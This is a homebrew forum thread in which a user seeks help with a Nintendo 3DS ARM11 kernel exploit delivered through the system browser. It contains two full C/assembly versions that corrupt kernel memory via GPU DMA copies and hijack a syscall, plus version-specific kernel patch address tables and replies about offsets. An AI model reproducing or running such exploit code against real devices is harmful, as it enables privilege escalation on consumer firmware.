Homebrew Kernel Mode Help

gudenau

Largely ignored
OP
Member
Joined
Jul 7, 2010
Messages
3,841
Trophies
2
Location
/dev/random
Website
www.gudenau.net
XP
4,346
Country
United States
I am attempting to get into arm11 kernel mode via SPIDER, but it is not working. I want my current code to reboot the console as an obvious sign that it works. The code is attacked and any help would be appreciated.
 

Attachments

  • stage1.zip
    3.3 KB · Views: 105

MegaSynka

Active Member
Newcomer
Joined
Feb 2, 2015
Messages
41
Trophies
0
XP
132
Country
Does pie break that then? Or i is it the linker?

I think it has more to do with the address where the code is copied to be executed (But I don't really know). You'll have to ask yifan_lu.

A solution is using known free heap space memory or just stack memory and pass down pointers.
 

gudenau

Largely ignored
OP
Member
Joined
Jul 7, 2010
Messages
3,841
Trophies
2
Location
/dev/random
Website
www.gudenau.net
XP
4,346
Country
United States
I think it has more to do with the address where the code is copied to be executed (But I don't really know). You'll have to ask yifan_lu.

A solution is using known free heap space memory or just stack memory and pass down pointers.

This is what I have now, still crashes. :-/

Code:
#define START_SECTION __attribute__ ((section (".text.start"), naked))
 
// make sure code is PIE
#ifndef __PIE__
#error "Must compile with -fPIE"
#endif
 
#define FILE_R 0x1
 
typedef struct file_s {
    int s;
    int pos;
    int size;
} FILE;
 
int(*IFile_Open)(FILE *this, const short *path, int flags) = (void *)0x0022FE08;
int(*IFile_Read)(FILE *this, unsigned int *read, void *buffer, unsigned int size) = (void *)0x001686DC;
 
int(*svcSleepThread)(unsigned long long nanoseconds) = ((void *)0x0023FFE8);
 
int(*GX_SetTextureCopy)(void *input_buffer, void *output_buffer, unsigned int size, int in_x, int in_y, int out_x, int out_y, int flags) = ((void *)0x0011DD48);
int(*GSPGPU_FlushDataCache)(void *addr, unsigned int len) = ((void *)0x00191504);
 
//int(*svcControlMemory)(void **outaddr, unsigned int addr0, unsigned int addr1, unsigned int size, int operation, int permissions) = ((void *)0x001431A0);
int svcControlMemory(unsigned int* addr_out, unsigned int addr0, unsigned int addr1, unsigned int size, int op, int perm);
 
// Release the gpu handle that spider has
void releaseGpu(unsigned int address);
 
// Get version specific data
int getVersionData(unsigned int *kernelPatchAddress, unsigned int *svcPatchAddress, unsigned int *rebootAddress);
 
// Set-up the kernel mode environment
int setupKernelMode(void);
 
// Execute the function in kernel mode
int __attribute__((naked)) executeKernelMode(int (*function)(void));
 
// Gets called in kernel mode
int __attribute__((naked)) kernelModeStub(void);
 
// Gets called in kernel mode
// Put code in here
void kernelMode(void);
 
void gspwnCopy(void *dest, void *source, unsigned int size, unsigned int checkValue, unsigned int checkOffset);
 
int __attribute__((naked)) svcControlMemory(unsigned int* addr_out, unsigned int addr0, unsigned int addr1, unsigned int size, int op, int perm){
    __asm__ __volatile__(
        "push {r0, r4}\t\n"
        "ldr  r0, [sp, #0x8]\t\n"
        "ldr  r4, [sp, #0x8+0x4]\t\n"
        "svc  0x01\t\n"
        "ldr  r2, [sp], #4\t\n"
        "str  r1, [r2]\t\n"
        "ldr  r4, [sp], #4\t\n"
        "bx  lr"
    );
}
 
int main(void){
 
    setupKernelMode();
    executeKernelMode(kernelModeStub);
 
 
    return 0;
}
 
int __attribute__((naked)) executeKernelMode(int (*function)(void)){
    __asm__ (
        "svc 8\t\n"
        "bx lr\t\n"
    );
}
 
void kernelMode(void){
    unsigned int kernelPatchAddress    = 0;
    unsigned int svcPatchAddress    = 0;
    unsigned int rebootAddress        = 0;
    getVersionData(&kernelPatchAddress, &svcPatchAddress, &rebootAddress);
 
    int (*reboot)(int, int, int, int) = (void *)rebootAddress;
 
    reboot(0, 0, 2, 0);
}
 
int __attribute__((naked)) kernelModeStub(void){
    __asm__(
        "add sp, sp, #8"
    );
 
    kernelMode();
 
    __asm__(
        "movs r0, #0\t\n"
        "ldr pc, [sp], #4"
    );
}
 
int setupKernelMode(void){
    unsigned int kernelPatchAddress    = 0;
    unsigned int svcPatchAddress    = 0;
    unsigned int rebootAddress        = 0;
 
    if(getVersionData(&kernelPatchAddress, &svcPatchAddress, &rebootAddress) == -1){
        return -1;
    }
 
    int i;
    unsigned int tempAddress;
    unsigned int *buffer = (unsigned int *)0x18410000;
 
    unsigned int memory;
    svcControlMemory(&memory, 0, 0, 0x2000, 0x10003, 0x3);
    unsigned int freeMemory = memory + 0x1000;
 
    int (*nopFunction)(void);
 
    svcControlMemory(&tempAddress, freeMemory, 0, 0x1000, 1, 0);
 
    buffer[0] = 1;
    buffer[1] = kernelPatchAddress;
    buffer[2] = 0;
    buffer[3] = 0;
 
    gspwnCopy((void *)freeMemory, (void *)buffer, 0x10, kernelPatchAddress, 4);
    svcControlMemory(&tempAddress, memory, 0, 0x1000, 1, 0);
 
    for(i = 0; i < 0x1000; i++){
        buffer[i] = 0xE1A00000;    // nop
    }
 
    buffer[i - 1] = 0xE12FFF1E;    // arm bx lr
 
    nopFunction = (void *)0x08F02894 - 0x10000;
    gspwnCopy((void *)buffer, (void *)nopFunction, 0x10000, 0xE1A00000, 0);
 
    nopFunction();
}
 
int getVersionData(unsigned int *kernelPatchAddress, unsigned int *svcPatchAddress, unsigned int *rebootAddress){
    // Get kernel version
    unsigned int kernelVersion = *(unsigned int *) 0x1FF80000;
 
    if(kernelVersion == 0x02220000){
        *kernelPatchAddress    = 0xEFF83C97;
        *svcPatchAddress    = 0xEFF827CC;
        *rebootAddress        = 0xFFF748C4;
        return 0;
    }else if(kernelVersion == 0x02230600){
        *kernelPatchAddress    = 0xEFF8372F;
        *svcPatchAddress    = 0xEFF822A8;
        *rebootAddress        = 0xFFF64B94;
        return 0;
    }else if(kernelVersion == 0x02240000){
        *kernelPatchAddress    = 0xEFF8372B;
        *svcPatchAddress    = 0xEFF822A4;
        *rebootAddress        = 0xFFF64B90;
        return 0;
    }else if(kernelVersion == 0x02250000){
        *kernelPatchAddress    = 0xEFF8372B;
        *svcPatchAddress    = 0xEFF822A4;
        *rebootAddress        = 0xFFF64A78;
    }else if(kernelVersion == 0x02260000){
        *kernelPatchAddress    = 0xEFF8372B;
        *svcPatchAddress    = 0xEFF822A4;
        *rebootAddress        = 0xFFF64A78;
        return 0;
    }else if(kernelVersion == 0x02270400){
        *kernelPatchAddress    = 0xEFF8372F;
        *svcPatchAddress    = 0xEFF822A8;
        *rebootAddress        = 0xFFF64AB0;
        return 0;
    }else if(kernelVersion == 0x02280000){
        *kernelPatchAddress    = 0xEFF8372B;
        *svcPatchAddress    = 0xEFF822A4;
        *rebootAddress        = 0xFFF64AAC;
        return 0;
    }else if(kernelVersion == 0x022C0600){
        *kernelPatchAddress    = 0xDFF83767;
        *svcPatchAddress    = 0xDFF82294;
        *rebootAddress        = 0xFFF54BAC;
        return 0;
    }else if(kernelVersion == 0x022E0000){
        *kernelPatchAddress    = 0xDFF83837;
        *svcPatchAddress    = 0xDFF82290;
        *rebootAddress        = 0xFFF151C0;
        return 0;
    }
 
    return -1;
}
 
// 0x003DA72C
// Thanks smealum!
void releaseGpu(unsigned int address){
    __asm__ __volatile__ (
        "mrc p15, 0, r8, c13, c0, 3\n"
        "add r8, #0x80\n"
        "ldr r0, =0x00170000\n"
        "str r0, [r8], #4\n"
        "ldr r0, =0x003DA72C\n"
        "ldr r0, [r0]\n"
        ".word 0xEF000032\n"
    );
}
 
void gspwnCopy(void *dest, void *source, unsigned int size, unsigned int checkValue, unsigned int checkOffset){
    unsigned int result;
 
    do{
        GSPGPU_FlushDataCache(source, size);
        GX_SetTextureCopy(source, dest, size, 0, 0, 0, 0, 8);
        GSPGPU_FlushDataCache(dest, size);
        GX_SetTextureCopy(dest, source, size, 0, 0, 0, 0, 8);
     
        result = *(unsigned int *)(source + checkOffset);
    }while(result != checkValue);
}
 
int START_SECTION entryPoint(){
    __asm__ volatile(".word 0xE1A00000");
    main();
    __asm__ volatile("bx lr");
}
 

gudenau

Largely ignored
OP
Member
Joined
Jul 7, 2010
Messages
3,841
Trophies
2
Location
/dev/random
Website
www.gudenau.net
XP
4,346
Country
United States

gudenau

Largely ignored
OP
Member
Joined
Jul 7, 2010
Messages
3,841
Trophies
2
Location
/dev/random
Website
www.gudenau.net
XP
4,346
Country
United States
Better:
46jZuxj.png


EDIT:
It seems as though 0xFFF151C0 is not a reboot address, hrm...


Code:
/*
 
    Thanks a bunch for most of this yifanlu!
    https://github.com/yifanlu/Spider3DSTools/blob/arm11-kernel-research/code.c
 
*/
 
#define START_SECTION __attribute__ ((section (".text.start"), naked))
 
// make sure code is PIE
#ifndef __PIE__
#error "Must compile with -fPIE"
#endif
 
int (*IFile_Open)
        (void *this, const short *path, int flags)
        = (void *)0x0022FE08;
int (*IFile_Write)
        (void *this, unsigned int *written, void *src, unsigned int len)
        = (void *)0x00168764;
int (*memcpy)
        (void *dst, const void *src, unsigned int len)
        = (void *)0x0023FF9C;
int (*GX_SetTextureCopy)
        (void *input_buffer, void *output_buffer, unsigned int size, int in_x, int in_y, int out_x, int out_y, int flags)
        = (void *)0x0011DD48;
int (*GSPGPU_FlushDataCache)
        (void *addr, unsigned int len)
        = (void *)0x00191504;
int (*svcSleepThread)
        (unsigned long long nanoseconds)
        = (void *)0x0023FFE8;
int (*svcControlMemory)
        (void **outaddr, unsigned int addr0, unsigned int addr1, unsigned int size, int operation, int permissions)
        = (void *)0x001431A0;
 
int                main();
unsigned int    getKernelVersion(void);
int                getArm11KernelPatchAddress(void);
int                getArm11RebootAddress(void);
void            fillScreens(char red, char green, char blue);
 
int START_SECTION entryPoint() {
    __asm__ volatile(
        ".word 0xE1A00000"
    );
   
    main();
   
    __asm__ volatile(
        "bx lr"
    );
}
 
int gspwnCopy(void *dst, void *src, unsigned int len, unsigned int check_val, int check_off){
    unsigned int result;
   
    do{
        memcpy((void *)0x18401000, (void *)0x18401000, 0x10000);
        GSPGPU_FlushDataCache(src, len);
        GX_SetTextureCopy(src, dst, len, 0, 0, 0, 0, 8);
        GSPGPU_FlushDataCache((void *)0x18401000, 16);
        GX_SetTextureCopy(dst, (void *)0x18401000, 0x40, 0, 0, 0, 0, 8);
        memcpy((void *)0x18401000, (void *)0x18401000, 0x10000);
        result = *(unsigned int *)(0x18401000 + check_off);
    }while(result != check_val);
   
    return 0;
}
 
int arm11KernelSetup(void){
    unsigned int patchAddress;
    unsigned int *buffer;
    int i;
    int (*nopFunction)(void);
   
    // part 1: corrupt kernel memory
    buffer = (int *)0x18402000;
    // 0xFFFFFE0 is just stack memory for scratch space
    svcControlMemory((void *)0xFFFFFE0, 0x18451000, 0, 0x1000, 1, 0); // free page
    patchAddress = 0xDFF83837;//TODO getArm11KernelPatchAddress();
   
    if(patchAddress == 0){
        return 1;
    }
   
    buffer[0] = 1;
    buffer[1] = patchAddress;
    buffer[2] = 0;
    buffer[3] = 0;
    // overwrite free pointer
    gspwnCopy((void *)0x18451000, buffer, 0x10u, patchAddress, 4);
    // trigger write to kernel
    svcControlMemory((void *)0xFFFFFE0, 0x18450000, 0, 0x1000, 1, 0);
   
    // part 2: obfuscation or trick to clear code cache
    for(i = 0; i < 0x1000; i++){
        buffer[i] = 0xE1A00000; // ARM NOP instruction
    }
    buffer[i-1] = 0xE12FFF1E; // ARM BX LR instruction
    nopFunction = (void *)(0x009D2000 - 0x10000); // 0x10000 below current code
    gspwnCopy((void *)(0x19592000 - 0x10000), buffer, 0x10000, 0xE1A00000, 0);
    nopFunction();
   
    return 0;
}
 
// after running setup, run this to execute func in ARM11 kernel mode
int __attribute__((naked)) arm11KernelExecute(int (*func)(void)){
    __asm__(
        "svc 8\t\n" // CreateThread syscall, corrupted, args not needed
        "bx lr\t\n"
    );
}
 
void invalidateInstructionCache(void){
    __asm__(
        "mcr p15,0,%0,c7,c5,0\t\n"
        "mcr p15,0,%0,c7,c5,4\t\n"
        "mcr p15,0,%0,c7,c5,6\t\n"
        "mcr p15,0,%0,c7,c10,4\t\n"
        :: "r" (0)
    );
}
 
void invalidateDataCache(void) {
    __asm__(
        "mcr p15,0,%0,c7,c14,0\t\n"
        "mcr p15,0,%0,c7,c10,4\t\n"
        :: "r" (0)
    );
}
 
void invalidateCache(void) {
    __asm__(
        "mcr p15,0,%0,c8,c5,0\t\n"
        "mcr p15,0,%0,c8,c6,0\t\n"
        "mcr p15,0,%0,c8,c7,0\t\n"
        "mcr p15,0,%0,c7,c10,4\t\n"
        :: "r" (0)
    );
}
 
 
 
int __attribute__((noinline)) arm11Kernel(void){
    int i;
   
    __asm__ volatile(
        "clrex"
    );
   
    // fix up memory
    *(int *)0xDFF8383F = 0x8DD00CE5;
    invalidateInstructionCache();
    invalidateCache();
   
    fillScreens(0xFF, 0x00, 0x00);
   
    //memcpy((void *)0xD848F000, (void *)0xFFF00000, 0x00038400);
    //memcpy((void *)0xD84C7800, (void *)0xFFF00000, 0x00038400);
    //memcpy((void *)0xE4410000, (void *)0xFFFF0000, 0x1000);
    invalidateDataCache();
   
    int (*reboot)(int, int, int, int);
   
    // If we are this far, we do not need to check this!
    reboot = 0xFFF151C0;//TODO (void *)getArm11RebootAddress();
   
    fillScreens(0x00, 0x00, 0xFF);
    // Time to reboot!
    reboot(0, 0, 2, 0);
    fillScreens(0x00, 0xFF, 0x00);
   
    return 0;
}
 
int __attribute__((naked)) arm11KernelStub(void){
    __asm__(
        "add sp, sp, #8\t\n"
    );
   
    arm11Kernel();
   
    __asm__(
        "movs r0, #0\t\n"
        "ldr pc, [sp], #4\t\n"
    );
}
 
int main(){
    if(arm11KernelSetup() != 0){
        return 1;
    }
   
    arm11KernelExecute(arm11KernelStub);
   
    return 0;
}
 
void fillScreens(char red, char blue, char green){
    int i;
    for(i = 0; i < 320*240*3; i += 3){
        ((char *)0xD848F000)[i] = green;
        ((char *)0xD848F000)[i+1] = blue;
        ((char *)0xD848F000)[i+2] = red;
       
        ((char *)0xD84C7800)[i] = green;
        ((char *)0xD84C7800)[i+1] = blue;
        ((char *)0xD84C7800)[i+2] = red;
    }
}
 
 
 
 
// Version stuff
 
unsigned int getKernelVersion(void){
    return *(unsigned int *) 0x1FF80000;
}
 
int getArm11KernelPatchAddress(void){
    unsigned int kernelVersion;
   
    kernelVersion = getKernelVersion();
   
    switch(kernelVersion){
        case 0x02220000:
            return 0xEFF83C97;
           
        case 0x02230600:
            return 0xEFF8372F;
           
        case 0x02240000:
        case 0x02250000:
        case 0x02260000:
        case 0x02280000:
            return 0xEFF8372B;
           
        case 0x02270400:
            return 0xEFF8372F;
           
        case 0x022C0600:
            return 0xDFF83767;
           
        case 0x022E0000:
            return 0xDFF83837;
           
        default:
            return 0;
    }
}
 
int getArm11RebootAddress(void){
    unsigned int kernelVersion;
   
    kernelVersion = getKernelVersion();
   
    switch(kernelVersion){
        case 0x02220000:
            return 0xFFF748C4;
           
        case 0x02230600:
            return 0xFFF64B94;
           
        case 0x02240000:
            return 0xFFF64B90;
           
        case 0x02250000:
        case 0x02260000:
            return 0xFFF64A78;
           
        case 0x02270400:
            return 0xFFF64AB0;
           
        case 0x02280000:
            return 0xFFF64AAC;
           
        case 0x022C0600:
            return 0xFFF54BAC;
           
        case 0x022E0000:
            return 0xFFF151C0;
           
        default:
            return 0;
    }
}
 

shinyquagsire23

SALT/Sm4sh Leak Guy
Member
Joined
Nov 18, 2012
Messages
1,970
Trophies
0
Age
25
Location
Las Vegas
XP
3,648
Country
United States
Oh, interesting...
I am using the 9.2 one, the 4.1 is 0xFFF748C4, correct?

Your offset is right, yes. That function alone though will just crash your 3DS, one of the patches in firmlaunch hax actually allows it to reboot, and the other hooks the point where ARM9 finishes checking the offset to boot into.
 

gudenau

Largely ignored
OP
Member
Joined
Jul 7, 2010
Messages
3,841
Trophies
2
Location
/dev/random
Website
www.gudenau.net
XP
4,346
Country
United States
Your offset is right, yes. That function alone though will just crash your 3DS, one of the patches in firmlaunch hax actually allows it to reboot, and the other hooks the point where ARM9 finishes checking the offset to boot into.

So, since I have no regard for relaunching the firm I do not have to restore anything?

Thanks for the tips, looking at yifan lu's stuff, there are a few nice tricks that gw used.

EDIT:
Does the MMU get reset before the ARM9 code would run? I am not to clear when the memory gets mapped.
 

You may also like...

General chit-chat
Help Users
  • No one is chatting at the moment.
    sombrerosonic @ sombrerosonic: i know